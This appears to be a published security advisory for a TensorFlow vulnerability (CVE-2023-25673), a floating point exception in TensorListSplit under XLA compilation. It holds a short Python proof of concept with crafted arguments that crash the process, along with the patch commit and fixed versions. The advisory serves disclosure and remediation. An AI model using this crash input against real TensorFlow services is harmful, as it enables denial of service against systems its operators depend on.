TensorFlow has Floating Point Exception in TensorListSplit with XLA

High7.5CVE-2023-25673 · Published Mar 24, 2023 · updated Sep 10, 2026

### Impact FPE in TensorListSplit with XLA ```python import tensorflow as tf func = tf.raw_ops.TensorListSplit para = {'tensor': [1], 'element_shape': -1, 'lengths': [0]} @tf.function(jit_compile=True) def fuzz_jit(): y = func(**para) return y print(fuzz_jit()) ``` ### Patches We have patched the issue in GitHub commit [728113a3be690facad6ce436660a0bc1858017fa](https://github.com/tensorflow/tensorflow/commit/728113a3be690facad6ce436660a0bc1858017fa). The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1 ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by r3pwnx